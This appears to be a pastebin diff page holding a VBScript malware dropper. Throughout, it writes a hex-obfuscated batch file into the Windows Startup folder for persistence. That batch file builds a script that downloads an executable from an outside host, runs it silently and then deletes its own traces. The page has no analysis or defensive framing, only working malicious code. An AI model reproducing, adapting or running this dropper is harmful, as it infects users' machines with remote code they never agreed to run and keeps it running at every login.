View difference between Paste ID: zDfaNFLd and cqY9deKG
SHOW: | | - or go back to the newest paste.
1
Dim sf
2
sf = CreateObject("WScript.Shell").SpecialFolders("Startup")
3
Set File = CreateObject("Scripting.FileSystemObject").CreateTextFile(sf & "\d6f17d97.bat", True)
4
Dim hex1
5
hex1 = "6563686F206F66660A64656C202F712F662F73202574656D70255C64366631376439372E7662730A64656C202F712F662F73202574656D70255C643666313764"
6
Dim count1
7
count1 = Len(hex1)
8
For i = 1 To count1 Step 2
9
	File.Write Chr(CInt("&h" & Mid(hex1,i,2)))
10
Next
11
Dim hex2
12
hex2 = "39372E6578650A5345542066663D2574656D70255C64366631376439372E7662730A5345542070313D44696D20683A0A5345542070323D2053657420680A5345"
13
Dim count2
14
count2 = Len(hex2)
15
For i = 1 To count2 Step 2
16
	File.Write Chr(CInt("&h" & Mid(hex2,i,2)))
17
Next
18
Dim hex3
19
hex3 = "542070333D203D204372650A5345542070343D6174654F626A0A5345542070353D65637428224D0A5345542070363D6963726F736F0A5345542070373D66742E"
20
Dim count3
21
count3 = Len(hex3)
22
For i = 1 To count3 Step 2
23
	File.Write Chr(CInt("&h" & Mid(hex3,i,2)))
24
Next
25
Dim hex4
26
hex4 = "584D4C0A5345542070383D4854545022290A6563686F202570312525703225257033252570342525703525257036252570372525703825203E3E20256666250A"
27
Dim count4
28
count4 = Len(hex4)
29
For i = 1 To count4 Step 2
30
	File.Write Chr(CInt("&h" & Mid(hex4,i,2)))
31
Next
32
Dim hex5
33
hex5 = "5345542070313D44696D20733A0A5345542070323D2053657420730A5345542070333D203D204372650A5345542070343D6174654F626A0A5345542070353D65"
34
Dim count5
35
count5 = Len(hex5)
36
For i = 1 To count5 Step 2
37
	File.Write Chr(CInt("&h" & Mid(hex5,i,2)))
38
Next
39
Dim hex6
40
hex6 = "63742822410A5345542070363D646F64622E530A5345542070373D747265616D220A5345542070383D29200A6563686F20257031252570322525703325257034"
41
Dim count6
42
count6 = Len(hex6)
43
For i = 1 To count6 Step 2
44
	File.Write Chr(CInt("&h" & Mid(hex6,i,2)))
45
Next
46
Dim hex7
47
hex7 = "2525703525257036252570372525703825203E3E20256666250A5345542070313D682E4F70656E0A5345542070323D2022474554220A5345542070333D2C2022"
48
Dim count7
49
count7 = Len(hex7)
50
For i = 1 To count7 Step 2
51
	File.Write Chr(CInt("&h" & Mid(hex7,i,2)))
52
Next
53
Dim hex8
54
hex8 = "6874740A5345542070343D703A2F2F766D0A5345542070353D732E6834636B0A5345542070363D3070732E63630A5345542070373D3A393030392F0A53455420"
55
Dim count8
56
count8 = Len(hex8)
57
For i = 1 To count8 Step 2
58
	File.Write Chr(CInt("&h" & Mid(hex8,i,2)))
59
Next
60
Dim hex9
61
hex9 = "70383D73656375646F0A5345542070393D632E657865220A534554207031303D2C2046616C730A534554207031313D65200A6563686F20257031252570322525"
62
Dim count9
63
count9 = Len(hex9)
64
For i = 1 To count9 Step 2
65
	File.Write Chr(CInt("&h" & Mid(hex9,i,2)))
66
Next
67
Dim hex10
68
hex10 = "70332525703425257035252570362525703725257038252570392525703130252570313125203E3E20256666250A5345542070313D682E53656E640A6563686F"
69
Dim count10
70
count10 = Len(hex10)
71
For i = 1 To count10 Step 2
72
	File.Write Chr(CInt("&h" & Mid(hex10,i,2)))
73
Next
74
Dim hex11
75
hex11 = "2025703125203E3E20256666250A5345542070313D663D204372650A5345542070323D6174654F626A0A5345542070333D6563742822530A5345542070343D63"
76
Dim count11
77
count11 = Len(hex11)
78
For i = 1 To count11 Step 2
79
	File.Write Chr(CInt("&h" & Mid(hex11,i,2)))
80
Next
81
Dim hex12
82
hex12 = "72697074690A5345542070353D6E672E46696C0A5345542070363D6553797374650A5345542070373D6D4F626A65630A5345542070383D7422292E47650A5345"
83
Dim count12
84
count12 = Len(hex12)
85
For i = 1 To count12 Step 2
86
	File.Write Chr(CInt("&h" & Mid(hex12,i,2)))
87
Next
88
Dim hex13
89
hex13 = "542070393D7453706563690A534554207031303D616C466F6C640A534554207031313D6572283229200A534554207031323D2B20222F64360A53455420703133"
90
Dim count13
91
count13 = Len(hex13)
92
For i = 1 To count13 Step 2
93
	File.Write Chr(CInt("&h" & Mid(hex13,i,2)))
94
Next
95
Dim hex14
96
hex14 = "3D6631376439370A534554207031343D2E65786522200A6563686F20257031252570322525703325257034252570352525703625257037252570382525703925"
97
Dim count14
98
count14 = Len(hex14)
99
For i = 1 To count14 Step 2
100
	File.Write Chr(CInt("&h" & Mid(hex14,i,2)))
101
Next
102
Dim hex15
103
hex15 = "25703130252570313125257031322525703133252570313425203E3E20256666250A5345542070313D5769746820730A6563686F2025703125203E3E20256666"
104
Dim count15
105
count15 = Len(hex15)
106
For i = 1 To count15 Step 2
107
	File.Write Chr(CInt("&h" & Mid(hex15,i,2)))
108
Next
109
Dim hex16
110
hex16 = "250A5345542070313D2E54797065200A5345542070323D3D2031200A6563686F202570312525703225203E3E20256666250A5345542070313D2E4F70656E200A"
111
Dim count16
112
count16 = Len(hex16)
113
For i = 1 To count16 Step 2
114
	File.Write Chr(CInt("&h" & Mid(hex16,i,2)))
115
Next
116
Dim hex17
117
hex17 = "6563686F2025703125203E3E20256666250A5345542070313D2E77726974650A5345542070323D20682E7265730A5345542070333D706F6E7365420A53455420"
118
Dim count17
119
count17 = Len(hex17)
120
For i = 1 To count17 Step 2
121
	File.Write Chr(CInt("&h" & Mid(hex17,i,2)))
122
Next
123
Dim hex18
124
hex18 = "70343D6F6479200A6563686F2025703125257032252570332525703425203E3E20256666250A5345542070313D2E73617665740A5345542070323D6F66696C65"
125
Dim count18
126
count18 = Len(hex18)
127
For i = 1 To count18 Step 2
128
	File.Write Chr(CInt("&h" & Mid(hex18,i,2)))
129
Next
130
Dim hex19
131
hex19 = "200A5345542070333D662C2032200A6563686F20257031252570322525703325203E3E20256666250A5345542070313D456E642057690A5345542070323D7468"
132
Dim count19
133
count19 = Len(hex19)
134
For i = 1 To count19 Step 2
135
	File.Write Chr(CInt("&h" & Mid(hex19,i,2)))
136
Next
137
Dim hex20
138
hex20 = "0A6563686F202570312525703225203E3E20256666250A7374617274202F57202574656D70255C64366631376439372E7662730A7374617274202574656D7025"
139
Dim count20
140
count20 = Len(hex20)
141
For i = 1 To count20 Step 2
142
	File.Write Chr(CInt("&h" & Mid(hex20,i,2)))
143
Next
144
Dim hex21
145
hex21 = "5C64366631376439372E6578650A64656C202530"
146
Dim count21
147
count21 = Len(hex21)
148
For i = 1 To count21 Step 2
149
	File.Write Chr(CInt("&h" & Mid(hex21,i,2)))
150
Next
151
File.Close